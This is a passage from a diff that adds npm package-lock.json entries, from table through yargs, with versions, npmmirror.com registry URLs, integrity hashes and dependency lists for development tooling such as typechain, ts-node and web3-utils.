"sha512-J8jTXuZzRlvU7HemDgHi3pGnh/rkoqR/OZSjhTyyZrEkkYQbk7Z33AXp37mkPfPpfdOuj7Ex3H/TJM1z48uPQw==", + "dev": true, + "peer": true, + "requires": { + "get-port": "^3.1.0" + } + }, + "table": { + "version": "6.8.0", + "resolved": "https://registry.npmmirror.com/table/-/table-6.8.0.tgz", + "integrity": "sha512-s/fitrbVeEyHKFa7mFdkuQMWlH1Wgw/yEXMt5xACT4ZpzWFluehAxRtUUQKPuWhaLAWhFcVx6w3oC8VKaUfPGA==", + "dev": true, + "peer": true, + "requires": { + "ajv": "^8.0.1", + "lodash.truncate": "^4.4.2", + "slice-ansi": "^4.0.0", + "string-width": "^4.2.3", + "strip-ansi": "^6.0.1" + }, + "dependencies": { + "ajv": { + "version": "8.11.0", + "resolved": "https://registry.npmmirror.com/ajv/-/ajv-8.11.0.tgz", + "integrity": "sha512-wGgprdCvMalC0BztXvitD2hC04YffAvtsUn93JbGXYLAtCUO4xd17mCCZQxUOItiBwZvJScWo8NIvQMQ71rdpg==", + "dev": true, + "peer": true, + "requires": { + "fast-deep-equal": "^3.1.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2", + "uri-js": "^4.2.2" + } + }, + "json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", + "dev": true, + "peer": true + } + } + }, + "table-layout": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/table-layout/-/table-layout-1.0.2.tgz", + "integrity": "sha512-qd/R7n5rQTRFi+Zf2sk5XVVd9UQl6ZkduPFC3S7WEGJAmetDTjY3qPN50eSKzwuzEyQKy5TN2TiZdkIjos2L6A==", + "dev": true, + "peer": true, + "requires": { + "array-back": "^4.0.1", + "deep-extend": "~0.6.0", + "typical": "^5.2.0", + "wordwrapjs": "^4.0.0" + }, + "dependencies": { + "array-back": { + "version": "4.0.2", + "resolved": "https://registry.npmmirror.com/array-back/-/array-back-4.0.2.tgz", + "integrity": "sha512-NbdMezxqf94cnNfWLL7V/im0Ub+Anbb0IoZhvzie8+4HJ4nMQuzHuy49FkGYCJK2yAloZ3meiB6AVMClbrI1vg==", + "dev": true, + "peer": true + }, + "typical": { + "version": "5.2.0", + "resolved": "https://registry.npmmirror.com/typical/-/typical-5.2.0.tgz", + "integrity": "sha512-dvdQgNDNJo+8B2uBQoqdb11eUCE1JQXhvjC/CZtgvZseVd5TYMXnq0+vuUemXbd/Se29cTaUuPX3YIc2xgbvIg==", + "dev": true, + "peer": true + } + } + }, + "then-request": { + "version": "6.0.2", + "resolved": "https://registry.npmmirror.com/then-request/-/then-request-6.0.2.tgz", + "integrity": "sha512-3ZBiG7JvP3wbDzA9iNY5zJQcHL4jn/0BWtXIkagfz7QgOL/LqjCEOBQuJNZfu0XYnv5JhKh+cDxCPM4ILrqruA==", + "dev": true, + "peer": true, + "requires": { + "@types/concat-stream": "^1.6.0", + "@types/form-data": "0.0.33", + "@types/node": "^8.0.0", + "@types/qs": "^6.2.31", + "caseless": "~0.12.0", + "concat-stream": "^1.6.0", + "form-data": "^2.2.0", + "http-basic": "^8.1.1", + "http-response-object": "^3.0.1", + "promise": "^8.0.0", + "qs": "^6.4.0" + }, + "dependencies": { + "@types/node": { + "version": "8.10.66", + "resolved": "https://registry.npmmirror.com/@types/node/-/node-8.10.66.tgz", + "integrity": "sha512-tktOkFUA4kXx2hhhrB8bIFb5TbwzS4uOhKEmwiD+NoiL0qtP2OQ9mFldbgD4dV1djrlBYP6eBuQZiWjuHUpqFw==", + "dev": true, + "peer": true + } + } + }, + "tmp": { + "version": "0.0.33", + "resolved": "https://registry.npmmirror.com/tmp/-/tmp-0.0.33.tgz", + "integrity": "sha512-jRCJlojKnZ3addtTOjdIqoRuPEKBvNXcGYqzO6zWZX8KfKEpnGY5jfggJQ3EjKuu8D4bJRr0y+cYJFmYbImXGw==", + "dev": true, + "requires": { + "os-tmpdir": "~1.0.2" + } + }, + "to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmmirror.com/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, + "requires": { + "is-number": "^7.0.0" + } + }, + "toidentifier": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/toidentifier/-/toidentifier-1.0.1.tgz", + "integrity": "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==", + "dev": true + }, + "tough-cookie": { + "version": "2.5.0", + "resolved": "https://registry.npmmirror.com/tough-cookie/-/tough-cookie-2.5.0.tgz", + "integrity": "sha512-nlLsUzgm1kfLXSXfRZMc1KLAugd4hqJHDTvc2hDIwS3mZAfMEuMbc03SujMF+GEcpaX/qboeycw6iO8JwVv2+g==", + "dev": true, + "peer": true, + "requires": { + "psl": "^1.1.28", + "punycode": "^2.1.1" + } + }, + "ts-command-line-args": { + "version": "2.3.1", + "resolved": "https://registry.npmmirror.com/ts-command-line-args/-/ts-command-line-args-2.3.1.tgz", + "integrity": "sha512-FR3y7pLl/fuUNSmnPhfLArGqRrpojQgIEEOVzYx9DhTmfIN7C9RWSfpkJEF4J+Gk7aVx5pak8I7vWZsaN4N84g==", + "dev": true, + "peer": true, + "requires": { + "chalk": "^4.1.0", + "command-line-args": "^5.1.1", + "command-line-usage": "^6.1.0", + "string-format": "^2.0.0" + }, + "dependencies": { + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmmirror.com/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "peer": true, + "requires": { + "color-convert": "^2.0.1" + } + }, + "chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmmirror.com/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "peer": true, + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "peer": true, + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmmirror.com/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true, + "peer": true + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true, + "peer": true + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmmirror.com/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "peer": true, + "requires": { + "has-flag": "^4.0.0" + } + } + } + }, + "ts-essentials": { + "version": "7.0.3", + "resolved": "https://registry.npmmirror.com/ts-essentials/-/ts-essentials-7.0.3.tgz", + "integrity": "sha512-8+gr5+lqO3G84KdiTSMRLtuyJ+nTBVRKuCrK4lidMPdVeEp0uqC875uE5NMcaA7YYMN7XsNiFQuMvasF8HT/xQ==", + "dev": true, + "peer": true, + "requires": {} + }, + "ts-node": { + "version": "10.9.1", + "resolved": "https://registry.npmmirror.com/ts-node/-/ts-node-10.9.1.tgz", + "integrity": "sha512-NtVysVPkxxrwFGUUxGYhfux8k78pQB3JqYBXlLRZgdGUqTO5wU/UyHop5p70iEbGhB7q5KmiZiU0Y3KlJrScEw==", + "dev": true, + "peer": true, + "requires": { + "@cspotcode/source-map-support": "^0.8.0", + "@tsconfig/node10": "^1.0.7", + "@tsconfig/node12": "^1.0.7", + "@tsconfig/node14": "^1.0.0", + "@tsconfig/node16": "^1.0.2", + "acorn": "^8.4.1", + "acorn-walk": "^8.1.1", + "arg": "^4.1.0", + "create-require": "^1.1.0", + "diff": "^4.0.1", + "make-error": "^1.1.1", + "v8-compile-cache-lib": "^3.0.1", + "yn": "3.1.1" + }, + "dependencies": { + "diff": { + "version": "4.0.2", + "resolved": "https://registry.npmmirror.com/diff/-/diff-4.0.2.tgz", + "integrity": "sha512-58lmxKSA4BNyLz+HHMUzlOEpg09FV+ev6ZMe3vJihgdxzgcwZ8VoEEPmALCZG9LmqfVoNMMKpttIYTVG6uDY7A==", + "dev": true, + "peer": true + } + } + }, + "tslib": { + "version": "1.14.1", + "resolved": "https://registry.npmmirror.com/tslib/-/tslib-1.14.1.tgz", + "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==", + "dev": true + }, + "tsort": { + "version": "0.0.1", + "resolved": "https://registry.npmmirror.com/tsort/-/tsort-0.0.1.tgz", + "integrity": "sha512-Tyrf5mxF8Ofs1tNoxA13lFeZ2Zrbd6cKbuH3V+MQ5sb6DtBj5FjrXVsRWT8YvNAQTqNoz66dz1WsbigI22aEnw==", + "dev": true + }, + "tunnel-agent": { + "version": "0.6.0", + "resolved": "https://registry.npmmirror.com/tunnel-agent/-/tunnel-agent-0.6.0.tgz", + "integrity": "sha512-McnNiV1l8RYeY8tBgEpuodCC1mLUdbSN+CYBL7kJsJNInOP8UjDDEwdk6Mw60vdLLrr5NHKZhMAOSrR2NZuQ+w==", + "dev": true, + "peer": true, + "requires": { + "safe-buffer": "^5.0.1" + } + }, + "tweetnacl": { + "version": "1.0.3", + "resolved": "https://registry.npmmirror.com/tweetnacl/-/tweetnacl-1.0.3.tgz", + "integrity": "sha512-6rt+RN7aOi1nGMyC4Xa5DdYiukl2UWCbcJft7YhxReBGQD7OAM8Pbxw6YMo4r2diNEA8FEmu32YOn9rhaiE5yw==", + "dev": true + }, + "tweetnacl-util": { + "version": "0.15.1", + "resolved": "https://registry.npmmirror.com/tweetnacl-util/-/tweetnacl-util-0.15.1.tgz", + "integrity": "sha512-RKJBIj8lySrShN4w6i/BonWp2Z/uxwC3h4y7xsRrpP59ZboCd0GpEVsOnMDYLMmKBpYhb5TgHzZXy7wTfYFBRw==", + "dev": true + }, + "type-check": { + "version": "0.3.2", + "resolved": "https://registry.npmmirror.com/type-check/-/type-check-0.3.2.tgz", + "integrity": "sha512-ZCmOJdvOWDBYJlzAoFkC+Q0+bUyEOS1ltgp1MGU03fqHG+dbi9tBFU2Rd9QKiDZFAYrhPh2JUf7rZRIuHRKtOg==", + "dev": true, + "peer": true, + "requires": { + "prelude-ls": "~1.1.2" + } + }, + "type-detect": { + "version": "4.0.8", + "resolved": "https://registry.npmmirror.com/type-detect/-/type-detect-4.0.8.tgz", + "integrity": "sha512-0fr/mIH1dlO+x7TlcMy+bIDqKPsw/70tVyeHW787goQjhmqaZe10uwLujubK9q9Lg6Fiho1KUKDYz0Z7k7g5/g==", + "dev": true, + "peer": true + }, + "type-fest": { + "version": "0.21.3", + "resolved": "https://registry.npmmirror.com/type-fest/-/type-fest-0.21.3.tgz", + "integrity": "sha512-t0rzBq87m3fVcduHDUFhKmyyX+9eo6WQjZvf51Ea/M0Q7+T374Jp1aUiyUl0GKxp8M/OETVHSDvmkyPgvX+X2w==", + "dev": true + }, + "typechain": { + "version": "8.1.0", + "resolved": "https://registry.npmmirror.com/typechain/-/typechain-8.1.0.tgz", + "integrity": "sha512-5jToLgKTjHdI1VKqs/K8BLYy42Sr3o8bV5ojh4MnR9ExHO83cyyUdw+7+vMJCpKXUiVUvARM4qmHTFuyaCMAZQ==", + "dev": true, + "peer": true, + "requires": { + "@types/prettier": "^2.1.1", + "debug": "^4.3.1", + "fs-extra": "^7.0.0", + "glob": "7.1.7", + "js-sha3": "^0.8.0", + "lodash": "^4.17.15", + "mkdirp": "^1.0.4", + "prettier": "^2.3.1", + "ts-command-line-args": "^2.2.0", + "ts-essentials": "^7.0.1" + }, + "dependencies": { + "glob": { + "version": "7.1.7", + "resolved": "https://registry.npmmirror.com/glob/-/glob-7.1.7.tgz", + "integrity": "sha512-OvD9ENzPLbegENnYP5UUfJIirTg4+XwMWGaQfQTY0JenxNvvIKP3U3/tAQSPIu/lHxXYSZmpXlUHeqAIdKzBLQ==", + "dev": true, + "peer": true, + "requires": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + } + }, + "mkdirp": { + "version": "1.0.4", + "resolved": "https://registry.npmmirror.com/mkdirp/-/mkdirp-1.0.4.tgz", + "integrity": "sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==", + "dev": true, + "peer": true + } + } + }, + "typedarray": { + "version": "0.0.6", + "resolved": "https://registry.npmmirror.com/typedarray/-/typedarray-0.0.6.tgz", + "integrity": "sha512-/aCDEGatGvZ2BIk+HmLf4ifCJFwvKFNb9/JeZPMulfgFracn9QFcAf5GO8B/mweUjSoblS5In0cWhqpfs/5PQA==", + "dev": true, + "peer": true + }, + "typescript": { + "version": "4.8.4", + "resolved": "https://registry.npmmirror.com/typescript/-/typescript-4.8.4.tgz", + "integrity": "sha512-QCh+85mCy+h0IGff8r5XWzOVSbBO+KfeYrMQh7NJ58QujwcE22u+NUSmUxqF+un70P9GXKxa2HCNiTTMJknyjQ==", + "dev": true, + "peer": true + }, + "typical": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/typical/-/typical-4.0.0.tgz", + "integrity": "sha512-VAH4IvQ7BDFYglMd7BPRDfLgxZZX4O4TFcRDA6EN5X7erNJJq+McIEp8np9aVtxrCJ6qx4GTYVfOWNjcqwZgRw==", + "dev": true, + "peer": true + }, + "uglify-js": { + "version": "3.17.2", + "resolved": "https://registry.npmmirror.com/uglify-js/-/uglify-js-3.17.2.tgz", + "integrity": "sha512-bbxglRjsGQMchfvXZNusUcYgiB9Hx2K4AHYXQy2DITZ9Rd+JzhX7+hoocE5Winr7z2oHvPsekkBwXtigvxevXg==", + "dev": true, + "optional": true, + "peer": true + }, + "unbox-primitive": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/unbox-primitive/-/unbox-primitive-1.0.2.tgz", + "integrity": "sha512-61pPlCD9h51VoreyJ0BReideM3MDKMKnh6+V9L08331ipq6Q8OFXZYiqP6n/tbHx4s5I9uRhcye6BrbkizkBDw==", + "dev": true, + "peer": true, + "requires": { + "call-bind": "^1.0.2", + "has-bigints": "^1.0.2", + "has-symbols": "^1.0.3", + "which-boxed-primitive": "^1.0.2" + } + }, + "undici": { + "version": "5.10.0", + "resolved": "https://registry.npmmirror.com/undici/-/undici-5.10.0.tgz", + "integrity": "sha512-c8HsD3IbwmjjbLvoZuRI26TZic+TSEe8FPMLLOkN1AfYRhdjnKBU6yL+IwcSCbdZiX4e5t0lfMDLDCqj4Sq70g==", + "dev": true + }, + "universalify": { + "version": "0.1.2", + "resolved": "https://registry.npmmirror.com/universalify/-/universalify-0.1.2.tgz", + "integrity": "sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg==", + "dev": true + }, + "unpipe": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/unpipe/-/unpipe-1.0.0.tgz", + "integrity": "sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==", + "dev": true + }, + "uri-js": { + "version": "4.4.1", + "resolved": "https://registry.npmmirror.com/uri-js/-/uri-js-4.4.1.tgz", + "integrity": "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==", + "dev": true, + "peer": true, + "requires": { + "punycode": "^2.1.0" + } + }, + "utf8": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/utf8/-/utf8-3.0.0.tgz", + "integrity": "sha512-E8VjFIQ/TyQgp+TZfS6l8yp/xWppSAHzidGiRrqe4bK4XP9pTRyKFgGJpO3SN7zdX4DeomTrwaseCHovfpFcqQ==", + "dev": true, + "peer": true + }, + "util-deprecate": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/util-deprecate/-/util-deprecate-1.0.2.tgz", + "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==", + "dev": true + }, + "uuid": { + "version": "8.3.2", + "resolved": "https://registry.npmmirror.com/uuid/-/uuid-8.3.2.tgz", + "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==", + "dev": true + }, + "v8-compile-cache-lib": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/v8-compile-cache-lib/-/v8-compile-cache-lib-3.0.1.tgz", + "integrity": "sha512-wa7YjyUGfNZngI/vtK0UHAN+lgDCxBPCylVXGp0zu59Fz5aiGtNXaq3DhIov063MorB+VfufLh3JlF2KdTK3xg==", + "dev": true, + "peer": true + }, + "verror": { + "version": "1.10.0", + "resolved": "https://registry.npmmirror.com/verror/-/verror-1.10.0.tgz", + "integrity": "sha512-ZZKSmDAEFOijERBLkmYfJ+vmk3w+7hOLYDNkRCuRuMJGEmqYNCNLyBBFwWKVMhfwaEF3WOd0Zlw86U/WC/+nYw==", + "dev": true, + "peer": true, + "requires": { + "assert-plus": "^1.0.0", + "core-util-is": "1.0.2", + "extsprintf": "^1.2.0" + } + }, + "web3-utils": { + "version": "1.8.0", + "resolved": "https://registry.npmmirror.com/web3-utils/-/web3-utils-1.8.0.tgz", + "integrity": "sha512-7nUIl7UWpLVka2f09CMbKOSEvorvHnaugIabU4mj7zfMvm0tSByLcEu3eyV9qgS11qxxLuOkzBIwCstTflhmpQ==", + "dev": true, + "peer": true, + "requires": { + "bn.js": "^5.2.1", + "ethereum-bloom-filters": "^1.0.6", + "ethereumjs-util": "^7.1.0", + "ethjs-unit": "0.1.6", + "number-to-bn": "1.7.0", + "randombytes": "^2.1.0", + "utf8": "3.0.0" + }, + "dependencies": { + "ethereum-cryptography": { + "version": "0.1.3", + "resolved": "https://registry.npmmirror.com/ethereum-cryptography/-/ethereum-cryptography-0.1.3.tgz", + "integrity": "sha512-w8/4x1SGGzc+tO97TASLja6SLd3fRIK2tLVcV2Gx4IB21hE19atll5Cq9o3d0ZmAYC/8aw0ipieTSiekAea4SQ==", + "dev": true, + "peer": true, + "requires": { + "@types/pbkdf2": "^3.0.0", + "@types/secp256k1": "^4.0.1", + "blakejs": "^1.1.0", + "browserify-aes": "^1.2.0", + "bs58check": "^2.1.2", + "create-hash": "^1.2.0", + "create-hmac": "^1.1.7", + "hash.js": "^1.1.7", + "keccak": "^3.0.0", + "pbkdf2": "^3.0.17", + "randombytes": "^2.1.0", + "safe-buffer": "^5.1.2", + "scrypt-js": "^3.0.0", + "secp256k1": "^4.0.1", + "setimmediate": "^1.0.5" + } + }, + "ethereumjs-util": { + "version": "7.1.5", + "resolved": "https://registry.npmmirror.com/ethereumjs-util/-/ethereumjs-util-7.1.5.tgz", + "integrity": "sha512-SDl5kKrQAudFBUe5OJM9Ac6WmMyYmXX/6sTmLZ3ffG2eY6ZIGBes3pEDxNN6V72WyOw4CPD5RomKdsa8DAAwLg==", + "dev": true, + "peer": true, + "requires": { + "@types/bn.js": "^5.1.0", + "bn.js": "^5.1.2", + "create-hash": "^1.1.2", + "ethereum-cryptography": "^0.1.3", + "rlp": "^2.2.4" + } + } + } + }, + "which": { + "version": "1.3.1", + "resolved": "https://registry.npmmirror.com/which/-/which-1.3.1.tgz", + "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==", + "dev": true, + "peer": true, + "requires": { + "isexe": "^2.0.0" + } + }, + "which-boxed-primitive": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/which-boxed-primitive/-/which-boxed-primitive-1.0.2.tgz", + "integrity": "sha512-bwZdv0AKLpplFY2KZRX6TvyuN7ojjr7lwkg6ml0roIy9YeuSr7JS372qlNW18UQYzgYK9ziGcerWqZOmEn9VNg==", + "dev": true, + "peer": true, + "requires": { + "is-bigint": "^1.0.1", + "is-boolean-object": "^1.1.0", + "is-number-object": "^1.0.4", + "is-string": "^1.0.5", + "is-symbol": "^1.0.3" + } + }, + "which-module": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/which-module/-/which-module-2.0.0.tgz", + "integrity": "sha512-B+enWhmw6cjfVC7kS8Pj9pCrKSc5txArRyaYGe088shv/FGWH+0Rjx/xPgtsWfsUtS27FkP697E4DDhgrgoc0Q==", + "dev": true, + "peer": true + }, + "wide-align": { + "version": "1.1.3", + "resolved": "https://registry.npmmirror.com/wide-align/-/wide-align-1.1.3.tgz", + "integrity": "sha512-QGkOQc8XL6Bt5PwnsExKBPuMKBxnGxWWW3fU55Xt4feHozMUhdUMaBCk290qpm/wG5u/RSKzwdAC4i51YigihA==", + "dev": true, + "peer": true, + "requires": { + "string-width": "^1.0.2 || 2" + }, + "dependencies": { + "ansi-regex": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/ansi-regex/-/ansi-regex-3.0.1.tgz", + "integrity": "sha512-+O9Jct8wf++lXxxFc4hc8LsjaSq0HFzzL7cVsw8pRDIPdjKD2mT4ytDZlLuSBZ4cLKZFXIrMGO7DbQCtMJJMKw==", + "dev": true, + "peer": true + }, + "is-fullwidth-code-point": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", + "integrity": "sha512-VHskAKYM8RfSFXwee5t5cbN5PZeq1Wrh6qd5bkyiXIf6UQcN6w/A0eXM9r6t8d+GYOh+o6ZhiEnb88LN/Y8m2w==", + "dev": true, + "peer": true + }, + "string-width": { + "version": "2.1.1", + "resolved": "https://registry.npmmirror.com/string-width/-/string-width-2.1.1.tgz", + "integrity": "sha512-nOqH59deCq9SRHlxq1Aw85Jnt4w6KvLKqWVik6oA9ZklXLNIOlqg4F2yrT1MVaTjAqvVwdfeZ7w7aCvJD7ugkw==", + "dev": true, + "peer": true, + "requires": { + "is-fullwidth-code-point": "^2.0.0", + "strip-ansi": "^4.0.0" + } + }, + "strip-ansi": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/strip-ansi/-/strip-ansi-4.0.0.tgz", + "integrity": "sha512-4XaJ2zQdCzROZDivEVIDPkcQn8LMFSa8kj8Gxb/Lnwzv9A8VctNZ+lfivC/sV3ivW8ElJTERXZoPBRrZKkNKow==", + "dev": true, + "peer": true, + "requires": { + "ansi-regex": "^3.0.0" + } + } + } + }, + "word-wrap": { + "version": "1.2.3", + "resolved": "https://registry.npmmirror.com/word-wrap/-/word-wrap-1.2.3.tgz", + "integrity": "sha512-Hz/mrNwitNRh/HUAtM/VT/5VH+ygD6DV7mYKZAtHOrbs8U7lvPS6xf7EJKMF0uW1KJCl0H701g3ZGus+muE5vQ==", + "dev": true, + "peer": true + }, + "wordwrap": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/wordwrap/-/wordwrap-1.0.0.tgz", + "integrity": "sha512-gvVzJFlPycKc5dZN4yPkP8w7Dc37BtP1yczEneOb4uq34pXZcvrtRTmWV8W+Ume+XCxKgbjM+nevkyFPMybd4Q==", + "dev": true, + "peer": true + }, + "wordwrapjs": { + "version": "4.0.1", + "resolved": "https://registry.npmmirror.com/wordwrapjs/-/wordwrapjs-4.0.1.tgz", + "integrity": "sha512-kKlNACbvHrkpIw6oPeYDSmdCTu2hdMHoyXLTcUKala++lx5Y+wjJ/e474Jqv5abnVmwxw08DiTuHmw69lJGksA==", + "dev": true, + "peer": true, + "requires": { + "reduce-flatten": "^2.0.0", + "typical": "^5.2.0" + }, + "dependencies": { + "typical": { + "version": "5.2.0", + "resolved": "https://registry.npmmirror.com/typical/-/typical-5.2.0.tgz", + "integrity": "sha512-dvdQgNDNJo+8B2uBQoqdb11eUCE1JQXhvjC/CZtgvZseVd5TYMXnq0+vuUemXbd/Se29cTaUuPX3YIc2xgbvIg==", + "dev": true, + "peer": true + } + } + }, + "workerpool": { + "version": "6.2.1", + "resolved": "https://registry.npmmirror.com/workerpool/-/workerpool-6.2.1.tgz", + "integrity": "sha512-ILEIE97kDZvF9Wb9f6h5aXK4swSlKGUcOEGiIYb2OOu/IrDU9iwj0fD//SsA6E5ibwJxpEvhullJY4Sl4GcpAw==", + "dev": true + }, + "wrap-ansi": { + "version": "7.0.0", + "resolved": "https://registry.npmmirror.com/wrap-ansi/-/wrap-ansi-7.0.0.tgz", + "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", + "dev": true, + "requires": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + }, + "dependencies": { + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmmirror.com/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "requires": { + "color-convert": "^2.0.1" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmmirror.com/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + } + } + }, + "wrappy": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/wrappy/-/wrappy-1.0.2.tgz", + "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==", + "dev": true + }, + "ws": { + "version": "7.5.9", + "resolved": "https://registry.npmmirror.com/ws/-/ws-7.5.9.tgz", + "integrity": "sha512-F+P9Jil7UiSKSkppIiD94dN07AwvFixvLIj1Og1Rl9GGMuNipJnV9JzjD6XuqmAeiswGvUmNLjr5cFuXwNS77Q==", + "dev": true, + "requires": {} + }, + "xmlhttprequest": { + "version": "1.8.0", + "resolved": "https://registry.npmmirror.com/xmlhttprequest/-/xmlhttprequest-1.8.0.tgz", + "integrity": "sha512-58Im/U0mlVBLM38NdZjHyhuMtCqa61469k2YP/AaPbvCoV9aQGUpbJBj1QRm2ytRiVQBD/fsw7L2bJGDVQswBA==", + "dev": true, + "peer": true + }, + "y18n": { + "version": "5.0.8", + "resolved": "https://registry.npmmirror.com/y18n/-/y18n-5.0.8.tgz", + "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==", + "dev": true + }, + "yallist": { + "version": "3.1.1", + "resolved": "https://registry.npmmirror.com/yallist/-/yallist-3.1.1.tgz", + "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==", + "dev": true + }, + "yargs": { + "version": "16.2.0", + "resolved": "https://registry.npmmirror.com/yargs/-/yargs-16.2.0.tgz", + "integrity": "sha512-D1mvvtDG0L5ft/jGWkLpG1+m0eQxOfaBvTNELraWj22wSVUMWxZUvYgJYcKh6jGGIkJFhH4IZPQhR4TKpc8mBw==", + "dev": true, + "requires": { + "cliui": 